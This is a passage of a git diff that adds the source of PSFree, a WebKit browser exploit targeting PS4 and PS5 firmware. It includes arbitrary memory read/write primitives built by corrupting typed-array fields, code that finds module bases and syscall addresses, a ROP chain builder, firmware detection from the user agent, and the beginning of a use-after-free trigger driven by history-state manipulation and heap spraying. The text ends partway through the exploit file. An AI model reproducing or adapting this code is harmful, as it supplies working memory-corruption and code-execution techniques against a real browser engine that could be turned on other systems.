mem.read64(addr); + } + + // returns a pointer instead of an Int + readp(offset) { + const addr = this.add(offset); + return mem.readp(addr); + } + + write8(offset, value) { + const addr = this.add(offset); + + mem.write8(addr, value); + } + + write16(offset, value) { + const addr = this.add(offset); + + mem.write16(addr, value); + } + + write32(offset, value) { + const addr = this.add(offset); + + mem.write32(addr, value); + } + + write64(offset, value) { + const addr = this.add(offset); + + mem.write64(addr, value); + } +} + +class MemoryBase { + _addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + this.worker.a = obj; + write64(this.main, o.view_m_vector, this.butterfly.sub(0x10)); + let res = read64(this.worker, 0); + write64(this.main, o.view_m_vector, this._current_addr); + + return res; + } + + addrof(obj) { + return new Addr(this._addrof(obj)); + } + + set_addr(addr) { + if (!(addr instanceof Int)) { + throw TypeError('addr must be an Int'); + } + this._current_addr = addr; + write64(this.main, o.view_m_vector, this._current_addr); + } + + get_addr() { + return this._current_addr; + } + + // write0() is for when you want to write to address 0. You can't use for + // example: "mem.write32(Int.Zero, 0)", since you can't set by index the + // view when it isDetached(). isDetached() == true when m_mode >= + // WastefulTypedArray and m_vector == 0. + // + // Functions like write32() will index mem.worker via write() from rw.mjs. + // + // size is the number of bits to read/write. + // + // The constraint is 0 <= offset + 1 < 2**32. + // + // PS4 firmwares >= 9.00 and any PS5 version can write to address 0 + // directly. All firmwares (PS4 and PS5) can read address 0 directly. + // + // See setIndex() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4 + // 8.03 for more information. Affected firmwares will get this error: + // + // TypeError: Underlying ArrayBuffer has been detached from the view + write0(size, offset, value) { + const i = offset + 1; + if (i >= 2**32 || i < 0) { + throw RangeError(`read0() invalid offset: ${offset}`); + } + + this.set_addr(new Int(-1)); + + switch (size) { + case 8: { + this.worker[i] = value; + } + case 16: { + write16(this.worker, i, value); + } + case 32: { + write32(this.worker, i, value); + } + case 64: { + write64(this.worker, i, value); + } + default: { + throw RangeError(`write0() invalid size: ${size}`); + } + } + } + + read8(addr) { + this.set_addr(addr); + return this.worker[0]; + } + + read16(addr) { + this.set_addr(addr); + return read16(this.worker, 0); + } + + read32(addr) { + this.set_addr(addr); + return read32(this.worker, 0); + } + + read64(addr) { + this.set_addr(addr); + return read64(this.worker, 0); + } + + // returns a pointer instead of an Int + readp(addr) { + return new Addr(this.read64(addr)); + } + + write8(addr, value) { + this.set_addr(addr); + this.worker[0] = value; + } + + write16(addr, value) { + this.set_addr(addr); + write16(this.worker, 0, value); + } + + write32(addr, value) { + this.set_addr(addr); + write32(this.worker, 0, value); + } + + write64(addr, value) { + this.set_addr(addr); + write64(this.worker, 0, value); + } +} + +export class Memory extends MemoryBase { + constructor(main, worker) { + super(); + + this.main = main; + this.worker = worker; + + // The initial creation of the "a" property will change the butterfly + // address. Do it now so we can cache it for addrof(). + worker.a = 0; // dummy value, we just want to create the "a" property + this.butterfly = read64(main, o.js_butterfly); + + write32(main, o.view_m_length, 0xffffffff); + + this._current_addr = Int.Zero; + + init_module(this); + } +} diff --git a/restore/900L/memtools.mjs b/restore/900L/memtools.mjs new file mode 100644 index 0000000..7c57355 --- /dev/null +++ b/restore/900L/memtools.mjs @@ -0,0 +1,244 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// This module are for utilities that depend on running the exploit first + +import { Int } from './int64.mjs'; +import { Addr, mem } from './mem.mjs'; +import { align } from './utils.mjs'; +import { KB } from './constants.mjs'; +import { read32 } from './rw.mjs'; + +import * as rw from './rw.mjs'; +import * as o from './offset.mjs'; + +// creates an ArrayBuffer whose contents is copied from addr +export function make_buffer(addr, size) { + // see enum TypedArrayMode from + // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h + // at webkitgtk 2.34.4 + // + // see possiblySharedBuffer() from + // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h + // at webkitgtk 2.34.4 + // + // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object + // associated with them, if we ask for view.buffer, the view will be + // converted into a WastefulTypedArray and an ArrayBuffer will be created. + // + // We will create an OversizeTypedArray via requesting an Uint8Array whose + // number of elements will be greater than fastSizeLimit (1000). + // + // We will not use a FastTypedArray since its m_vector is visited by the + // GC and we will temporarily change it. The GC expects addresses from the + // JS heap, and that heap has metadata that the GC uses. The GC will likely + // crash since valid metadata won't likely be found at arbitrary addresses. + // + // The FastTypedArray approach will have a small time frame where the GC + // can inspect the invalid m_vector field. + // + // Views created via "new TypedArray(x)" where "x" is a number will always + // have an m_mode < WastefulTypedArray. + const u = new Uint8Array(1001); + const u_addr = mem.addrof(u); + + // we won't change the butterfly and m_mode so we won't save those + const old_addr = u_addr.read64(o.view_m_vector); + const old_size = u_addr.read32(o.view_m_length); + + u_addr.write64(o.view_m_vector, addr); + u_addr.write32(o.view_m_length, size); + + const copy = new Uint8Array(u.length); + copy.set(u); + + // We can't use slowDownAndWasteMemory() on u since that will create a + // JSC::ArrayBufferContents with its m_data pointing to addr. On the + // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can + // cause a crash if the m_data is not from the fastMalloc heap, and even if + // it is, freeing abitrary addresses is dangerous as it may lead to a + // use-after-free. + const res = copy.buffer; + + // restore + u_addr.write64(o.view_m_vector, old_addr); + u_addr.write32(o.view_m_length, old_size); + + return res; +} + +// these values came from analyzing dumps from CelesteBlue +function check_magic_at(p, is_text) { + // byte sequence that is very likely to appear at offset 0 of a .text + // segment + const text_magic = [ + new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), + new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), + ]; + + // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment + + // .data magic from 3.00, 6.00, and 6.20 + //const data_magic = [ + // new Int(0x18), + // new Int(0x3c13f4bf, 0x1), + //]; + + // .data magic from 8.00 and 8.03 + const data_magic = [ + new Int(0x20), + new Int(0x3c13f4bf, 0x2), + ]; + + const magic = is_text ? text_magic : data_magic; + const value = [p.read64(0), p.read64(8)]; + + return value[0].eq(magic[0]) && value[1].eq(magic[1]); +} + +// Finds the base address of a segment: .text or .data +// Used on the ps4 to locate module base addresses +// * p: +// an address pointing somewhere in the segment to search +// * is_text: +// whether the segment is .text or .data +// * is_back: +// whether to search backwards (to lower addresses) or forwards +// +// Modules are likely to be separated by a couple of unmapped pages because of +// Address Space Layout Randomization (all module base addresses are +// randomized). This means that this function will either succeed or crash on +// a page fault, if the magic is not present. +// +// To be precise, modules are likely to be "surrounded" by unmapped pages, it +// does not mean that the distance between a boundary of a module and the +// nearest unmapped page is 0. +// +// The boundaries of a module is its base and end addresses. +// +// let module_base_addr = find_base(...); +// // Not guaranteed to crash, the nearest unmapped page is not necessarily at +// // 0 distance away from module_base_addr. +// addr.read8(-1); +// +export function find_base(addr, is_text, is_back) { + // ps4 page size + const page_size = 16 * KB; + // align to page size + addr = align(addr, page_size); + const offset = (is_back ? -1 : 1) * page_size; + while (true) { + if (check_magic_at(addr, is_text)) { + break; + } + addr = addr.add(offset) + } + return addr; +} + +// gets the address of the underlying buffer of a JSC::JSArrayBufferView +export function get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + return mem.addrof(view).readp(o.view_m_vector); +} + +export function resolve_import(import_addr) { + if (import_addr.read16(0) !== 0x25ff) { + throw Error( + `instruction at ${import_addr} is not of the form: jmp qword` + + ' [rip + X]' + ); + } + // module_function_import: + // jmp qword [rip + X] + // ff 25 xx xx xx xx // signed 32-bit displacement + const disp = import_addr.read32(2); + // sign extend + const offset = new Int(disp, disp >> 31); + // The rIP value used by "jmp [rip + X]" instructions is actually the rIP + // of the next instruction. This means that the actual address used is + // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the + // jump instruction, which is 6 in this case. + const function_addr = import_addr.readp(offset.add(6)); + + return function_addr; +} + +export function init_syscall_array( + syscall_array, + libkernel_web_base, + max_search_size, +) { + if (typeof max_search_size !== 'number') { + throw TypeError(`max_search_size is not a number: ${max_search_size}`); + } + if (max_search_size < 0) { + throw Error(`max_search_size is less than 0: ${max_search_size}`); + } + + const libkernel_web_buffer = make_buffer( + libkernel_web_base, + max_search_size, + ); + const kbuf = new Uint8Array(libkernel_web_buffer); + + // Search 'rdlo' string from libkernel_web's .rodata section to gain an + // upper bound on the size of the .text section. + let text_size = 0; + let found = false; + for (let i = 0; i < max_search_size; i++) { + if (kbuf[i] === 0x72 + && kbuf[i + 1] === 0x64 + && kbuf[i + 2] === 0x6c + && kbuf[i + 3] === 0x6f + ) { + text_size = i; + found = true; + break; + } + } + if (!found) { + throw Error( + '"rdlo" string not found in libkernel_web, base address:' + + ` ${libkernel_web_base}` + ); + } + + // search for the instruction sequence: + // syscall_X: + // mov rax, X + // mov r10, rcx + // syscall + for (let i = 0; i < text_size; i++) { + if (kbuf[i] === 0x48 + && kbuf[i + 1] === 0xc7 + && kbuf[i + 2] === 0xc0 + && kbuf[i + 7] === 0x49 + && kbuf[i + 8] === 0x89 + && kbuf[i + 9] === 0xca + && kbuf[i + 10] === 0x0f + && kbuf[i + 11] === 0x05 + ) { + const syscall_num = read32(kbuf, i + 3); + syscall_array[syscall_num] = libkernel_web_base.add(i); + // skip the sequence + i += 11; + } + } +} diff --git a/restore/900L/offset.mjs b/restore/900L/offset.mjs new file mode 100644 index 0000000..509260c --- /dev/null +++ b/restore/900L/offset.mjs @@ -0,0 +1,35 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// offsets for JSC::JSObject +export const js_butterfly = 0x8; + +// offsets for JSC::JSArrayBufferView +export const view_m_vector = 0x10; +export const view_m_length = 0x18; +export const view_m_mode = 0x1c; + +// sizeof JSC::JSArrayBufferView +export const size_view = 0x20; + +// offsets for WTF::StringImpl +export const strimpl_strlen = 4; +export const strimpl_m_data = 8; +export const strimpl_inline_str = 0x14; + +// sizeof WTF::StringImpl +export const size_strimpl = 0x18; diff --git a/restore/900L/restore900.bin b/restore/900L/restore900.bin index bba4d9a..a1e17da 100644 Binary files a/restore/900L/restore900.bin and b/restore/900L/restore900.bin differ diff --git a/restore/900L/rw.mjs b/restore/900L/rw.mjs new file mode 100644 index 0000000..7ebfb9e --- /dev/null +++ b/restore/900L/rw.mjs @@ -0,0 +1,105 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; + +// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will +// be corrupting the m_vector of our target views later, the ArrayBuffer's +// buffer will not correspond to our fake m_vector anyway. +// +// can't use: +// +// function read32(u8_view, offset) { +// let res = new Uint32Array(u8_view.buffer, offset, 1); +// return res[0]; +// } +// +// to implement read32, we need to index the view instead: +// +// function read32(u8_view, offset) { +// let res = 0; +// for (let i = 0; i < 4; i++) { +// res += u8_view[offset + i] << i*8; +// } +// // << returns a signed integer, >>> converts it to unsigned +// return res >>> 0; +// } + +// for reads less than 8 bytes +function read(u8_view, offset, size) { + let res = 0; + for (let i = 0; i < size; i++) { + res += u8_view[offset + i] << i*8; + } + // << returns a signed integer, >>> converts it to unsigned + return res >>> 0; +} + +export function read16(u8_view, offset) { + return read(u8_view, offset, 2); +} + +export function read32(u8_view, offset) { + return read(u8_view, offset, 4); +} + +export function read64(u8_view, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(u8_view[offset + i]); + } + return new Int(res); +} + +// for writes less than 8 bytes +function write(u8_view, offset, value, size) { + for (let i = 0; i < size; i++) { + u8_view[offset + i] = (value >>> i*8) & 0xff; + } +} + +export function write16(u8_view, offset, value) { + write(u8_view, offset, value, 2); +} + +export function write32(u8_view, offset, value) { + write(u8_view, offset, value, 4); +} + +export function write64(u8_view, offset, value) { + if (!(value instanceof Int)) { + throw TypeError('write64 value must be an Int'); + } + + let low = value.low(); + let high = value.high(); + + for (let i = 0; i < 4; i++) { + u8_view[offset + i] = (low >>> i*8) & 0xff; + } + for (let i = 0; i < 4; i++) { + u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; + } +} + +export function sread64(str, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(str.charCodeAt(offset + i)); + } + return new Int(res); +} diff --git a/restore/900L/utils.mjs b/restore/900L/utils.mjs new file mode 100644 index 0000000..aaa227a --- /dev/null +++ b/restore/900L/utils.mjs @@ -0,0 +1,75 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; + +export function die(msg) { + alert(msg); + undefinedFunction(); +} + +export function debug_log(msg) { + document.getElementById("progress").style.color = "orange"; + document.getElementById("progress").innerHTML=msg; + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); + +} + +export function clear_log() { + document.body.innerHTML = null; +} + +export function str2array(str, length, offset) { + if (offset === undefined) { + offset = 0; + } + let a = new Array(length); + for (let i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} + +// alignment must be 32 bits and is a power of 2 +export function align(a, alignment) { + if (!(a instanceof Int)) { + a = new Int(a); + } + const mask = -alignment & 0xffffffff; + let type = a.constructor; + let low = a.low() & mask; + return new type(low, a.high()); +} + +export async function send(url, buffer, file_name, onload=() => {}) { + const file = new File( + [buffer], + file_name, + {type:'application/octet-stream'} + ); + const form = new FormData(); + form.append('upload', file); + + debug_log('send'); + const response = await fetch(url, {method: 'POST', body: form}); + + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}`); + } + onload(); +} diff --git a/restore/900N/1.jpg b/restore/900N/1.jpg deleted file mode 100644 index 52b6515..0000000 Binary files a/restore/900N/1.jpg and /dev/null differ diff --git a/restore/900NA/1.jpg b/restore/900NA/1.jpg deleted file mode 100644 index 7ebffd3..0000000 Binary files a/restore/900NA/1.jpg and /dev/null differ diff --git a/restore/900New/alert.mjs b/restore/900New/alert.mjs new file mode 100644 index 0000000..d15fcc6 --- /dev/null +++ b/restore/900New/alert.mjs @@ -0,0 +1,40 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// We can't just open a console on the ps4 browser, make sure the errors thrown +// by our modules are alerted. We use alert() instead of debug_log() because +// while we are developing, we may modify the utils.mjs module and introduce +// bugs. We can not use debug_log() if it throws an error. +// +// We added this new file instead of putting this on run.mjs, so we can ensure +// we can attach this listener first before running anything. +addEventListener('unhandledrejection', (event) => { + const reason = event.reason; + // We log the line and column numbers as well since some exceptions (like + // SyntaxError) do not show it in the stack trace. + alert( + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); + throw reason; +}) +function debug_log(msg) { + document.getElementById("progress").innerHTML=msg; +} +// important that we dynamically import the exploit script after we attach +import('./exploit.mjs'); diff --git a/restore/900New/chain.mjs b/restore/900New/chain.mjs new file mode 100644 index 0000000..794371a --- /dev/null +++ b/restore/900New/chain.mjs @@ -0,0 +1,206 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; +import { get_view_vector } from './memtools.mjs'; +import { Addr, mem } from './mem.mjs'; + +import { + read64, + write64, +} from './rw.mjs'; + +import * as o from './offset.mjs'; + +// put the sycall names that you want to use here +export const syscall_map = new Map(Object.entries({ + 'close': 6, + 'setuid' : 23, + 'getuid' : 24, + 'mprotect': 74, + 'socket' : 97, + 'fchmod' : 124, + 'mlock' : 203, + 'kqueue' : 362, + 'kevent' : 363, + 'mmap' : 477, + // for JIT shared memory + 'jitshm_create' : 533, + 'jitshm_alias' : 534, +})); + +// Extra space to allow a ROP chain to push temporary values. It must pop all +// of it before reaching a "ret" instruction, else the instruction will pop one +// of the temporaries as its return address. +// +// Also space for additional frames when we call a function since we do not +// pivot the call to another stack (the called function's stack pointer is +// pointing to our ROP stack as well). +const upper_pad = 0x10000; +// maximum size of the ROP stack +const stack_size = 0x10000; +const total_size = upper_pad + stack_size; + +const argument_pops = [ + 'pop rdi; ret', + 'pop rsi; ret', + 'pop rdx; ret', + 'pop rcx; ret', + 'pop r8; ret', + 'pop r9; ret', +]; + +export class ChainBase { + constructor() { + this.is_stale = false; + this.position = 0; + this._return_value = new Uint8Array(8); + this.retval_addr = get_view_vector(this._return_value); + + const stack_buffer = new ArrayBuffer(total_size); + this.stack_buffer = stack_buffer; + this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); + this.stack_addr = get_view_vector(this.stack); + } + + check_stale() { + if (this.is_stale) { + throw Error('chain already ran, clean it first'); + } + this.is_stale = true; + } + + check_is_empty() { + if (this.position === 0) { + throw Error('chain is empty'); + } + } + + clean() { + this.position = 0; + this.is_stale = false; + } + + // this will raise an error if the value is not an Int + push_value(value) { + if (this.position >= stack_size) { + throw Error(`no more space on the stack, pushed value: ${value}`); + } + write64(this.stack, this.position, value); + this.position += 8; + } + + // converts value to Int first + push_constant(value) { + this.push_value(new Int(value)); + } + + get_gadget(insn_str) { + const addr = this.gadgets.get(insn_str); + if (addr === undefined) { + throw Error(`gadget not found: ${insn_str}`); + } + + return addr; + } + + push_gadget(insn_str) { + this.push_value(this.get_gadget(insn_str)); + } + + push_call(func_addr, ...args) { + if (args.length > 6) { + throw TypeError( + 'call() does not support functions that have more than 6' + + ' arguments' + ); + } + + for (let i = 0; i < args.length; i++) { + this.push_gadget(argument_pops[i]); + this.push_constant(args[i]); + } + + // The address of our buffer seems to be always aligned to 8 bytes. + // SysV calling convention requires the stack is aligned to 16 bytes on + // function entry, so push an additional 8 bytes to pad the stack. We + // pushed a "ret" gadget for a noop. + if ((this.position & (0x10 - 1)) !== 0) { + this.push_gadget('ret'); + } + + this.push_value(func_addr); + } + + push_syscall(syscall_name, ...args) { + if (typeof syscall_name !== 'string') { + throw TypeError(`syscall_name not a string: ${syscall_name}`); + } + + const sysno = syscall_map.get(syscall_name); + if (sysno === undefined) { + throw Error(`syscall_name not found: ${syscall_name}`); + } + + const syscall_addr = this.syscall_array[sysno]; + if (syscall_addr === undefined) { + throw Error(`syscall number not in syscall_array: ${sysno}`); + } + + this.push_call(syscall_addr, ...args); + } + + // ROP chain to retrieve rax + push_get_retval() { + throw Error('push_get_retval() not implemented'); + } + + // Firmware specific method to launch a ROP chain + // + // Implementations must call check_stale() and check_is_empty() before + // trying to launch the chain. + run() { + throw Error('run() not implemented'); + } + + get return_value() { + return read64(this._return_value, 0); + } + + // Sets needed class properties + // + // Args: + // gadgets: + // A Map-like object mapping instruction strings (e.g "pop rax; ret") + // to their addresses in memory. + // syscall_array: + // An array whose indices correspond to syscall numbers. Maps syscall + // numbers to their addresses in memory. Defaults to an empty Array. + // + // Raises: + // Error: + // For missing bare minimum gadgets + static init_class(gadgets, syscall_array=[]) { + for (const insn of argument_pops) { + if (!gadgets.has(insn)) { + throw Error(`gadget map must contain this gadget: ${insn}`); + } + } + this.prototype.gadgets = gadgets; + this.prototype.syscall_array = syscall_array; + } +} diff --git a/restore/900New/config.mjs b/restore/900New/config.mjs new file mode 100644 index 0000000..483018c --- /dev/null +++ b/restore/900New/config.mjs @@ -0,0 +1,100 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// webkitgtk 2.34.4 was used to develop the portable parts of the exploit +// before moving on to ps4 8.03 +// +// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable +// can affect the size of SerializedScriptValue +// +// this target is no longer supported +// +//export const gtk_2_34_4 = 0; + +// the original target platform was 8.03, this version confirmed works on ps4 +// 7.xx-8.xx +export const ps4_8_03 = 1; + +// this version for 9.xx +export const ps4_9_00 = 2; + +// version 9.xx is for ps5 1.xx-5.xx as well +export const ps5_5_00 = ps4_9_00; + +// this version for 6.50-6.72 +export const ps4_6_50 = 3; + +// this version for 6.00-6.20 +export const ps4_6_00 = 4; + +export function set_target(value) { + switch (value) { + case ps4_8_03: + case ps4_9_00: + case ps4_6_00: + case ps4_6_50: { + break; + } + default: { + throw RangeError('invalid target: ' + target); + } + } + + target = value; +} + +function DetectFirmwareVersion() +{ + var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/",""); + + if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20") + { + return ps4_6_00; + } + + if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72") + { + return ps4_6_50; + } + + if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50" || UA == "8.51") + { + return ps4_8_03; + } + + //on 9.00 Fw deection changed to laystation insead of regular Playstation + UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/",""); + + + if (UA == "9.00" || UA == "9.03" || UA == "9.04" || UA == "9.50" || UA == "9.51" || UA == "9.60") + { + return ps4_9_00; + } + + //get user agent for PS5 (taken from PS5 Specter Exploit Host) + const supportedFirmwares = ["1.00","1.01","1.02","1.05","1.12","1.14","2.00","2.10","2.20","2.25","2.26","2.30","2.50","2.70","3.00","3.10","3.20","3.21","4.00", "4.02", "4.03", "4.50", "4.51","5.00","5.02","5.10","5.50"]; + const fw_idx = navigator.userAgent.indexOf('PlayStation; PlayStation 5/') + 27; + const fw_str = navigator.userAgent.substring(fw_idx, fw_idx + 4); + + if (supportedFirmwares.includes(fw_str)) + { + return ps5_5_00; + } + +} + +export let target = DetectFirmwareVersion(); diff --git a/restore/900New/constants.mjs b/restore/900New/constants.mjs new file mode 100644 index 0000000..268f079 --- /dev/null +++ b/restore/900New/constants.mjs @@ -0,0 +1,20 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +export const KB = 1024; +export const MB = KB * KB; +export const GB = KB * KB * KB; diff --git a/restore/900New/exploit.mjs b/restore/900New/exploit.mjs new file mode 100644 index 0000000..d7d3283 --- /dev/null +++ b/restore/900New/exploit.mjs @@ -0,0 +1,756 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import * as config from './config.mjs'; + +import { + read32, + read64, + write32, + write64, + sread64, +} from './rw.mjs'; + +import * as o from './offset.mjs'; + +import { Int } from './int64.mjs'; +import { Memory } from './mem.mjs'; + +import { + die, + debug_log, + clear_log, + str2array, +} from './utils.mjs'; + +const ssv_len = (() => { + switch (config.target) { + case config.ps4_6_00: { + return 0x58; + } + case config.ps4_9_00: { + return 0x50; + } + case config.ps4_6_50: + case config.ps4_8_03: { + return 0x48; + } + default: { + throw RangeError('invalid config.target: ' + config.target); + } + } +})(); + +const num_reuse = 0x4000; + +// size of JSArrayBufferView +const original_strlen = ssv_len - o.size_strimpl; +const buffer_len = 0x20; +// make sure this is large enough to ensure that enough strings will +// occupy any gaps in in the relative read area so when are trying to leak the +// JSArrayBufferView we won't hit any unmapped areas +const num_str = 0x4000; +const num_gc = 30; +const num_space = 19; +const original_loc = window.location.pathname; +const loc = original_loc + '#foo'; + +// this variable has to be global for the leak to work +let rstr = null; +// this variable has to be global so that the exploit is more likely to succeed +let view_leak_arr = []; +// These variables need to be global because we theorize there are +// optimizations between local and global variables. +// We don't know what optimizations these are but it is messing with us. + +// contents of the JSArrayBufferView +// 3rd element is the address of the buffer of the JSArrayBufferView +let jsview = []; + +// object for saving values +let s1 = {views : []}; +let view_leak = null; + +let input = document.body.appendChild(document.createElement("input")); +let foo = document.body.appendChild(document.createElement("a")); +foo.id = "foo"; + +// The theory is that the allocator and garbage collector (GC) cooperate in +// serving allocation requests. The GC knows if there are any garbage that can +// be collected, to free up memory for requests. If the allocator can't serve a +// request, it will ask the GC to perform a garbage collection. +// +// If even after a garbage colllection, there is still no memory left for +// allocation, then the process will request the operating system to increase +// its heap size. +// +// We loop a couple of times by num_loop in allocating memory and dropping +// references to it. Even though we dropped the references immediately, memory +// consumption will still grow, since garbage is not immediately collected. +// Hopefully one of the requests will force the allocator to yield to the GC. +let pressure = null; +function gc(num_loop) { + pressure = Array(100); + for (let i = 0; i < num_loop; i++) { + for (let i = 0; i < pressure.length; i++) { + pressure[i] = new Uint32Array(0x40000); + } + pressure = Array(100); + } + pressure = null; +} + +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +function prepare_uaf() { + // don't want any state0 near state1 + history.pushState('state0', ''); + for (let i = 0; i < num_space; i++) { + history.replaceState('state0', ''); + } + + history.replaceState("state1", "", loc); + + // don't want any state2 near state1 + history.pushState("state2", ""); + for (let i = 0; i < num_space; i++) { + history.replaceState("state2", ""); + } +} + +function free(save) { + // We replace the URL with the original so the user can rerun the exploit + // via a reload. If we don't then the exploit will append another "#foo" to + // the URL and the input element will not be blurred because the foo + // element won't be scrolled to during history.back(). + history.replaceState('state3', '', original_loc); + + for (let i = 0; i < num_reuse; i++) { + let view = new Uint8Array(new ArrayBuffer(ssv_len)); + for (let i = 0; i < view.length; i++) { + view[i] = 0x41; + } + save.views.push(view); + } +} + +function check_spray(views) { + if (views.length !== num_reuse) { + debug_log(`views.length: ${views.length}`); + die('views.length !== num_reuse, restart the entire exploit'); + } + + for (let i = 0; i < num_reuse; i++) { + if (views[i][0] !== 0x41) { + return i; + } + } + return null; +} + +async function use_after_free(pop_func, save) { + const pop_promise = new Promise((resolve, reject) => { + function pop_wrapper(event) { + try { + pop_func(event, save); + } catch (e) { + reject(e); + } + resolve(); + } + addEventListener("popstate", pop_wrapper, {once:true}); + }); + + prepare_uaf(); + + let num_free = 0; + function onblur() { + if (num_free > 0) { + die('multiple free()s, restart the entire exploit'); + } + free(save); + num_free++; + } + + input.onblur = onblur; + await new Promise((resolve) => { + input.addEventListener('focus', resolve, {once:true}); + input.focus(); + }); + history.back(); + + await pop_promise; +} + +// get arbitrary read +async function setup_ar(save) { + const view = save.ab; + + // set refcount to 1, all other fields to 0/NULL + view[0] = 1; + for (let i = 1; i < view.length; i++) { + view[i] = 0; + } + + 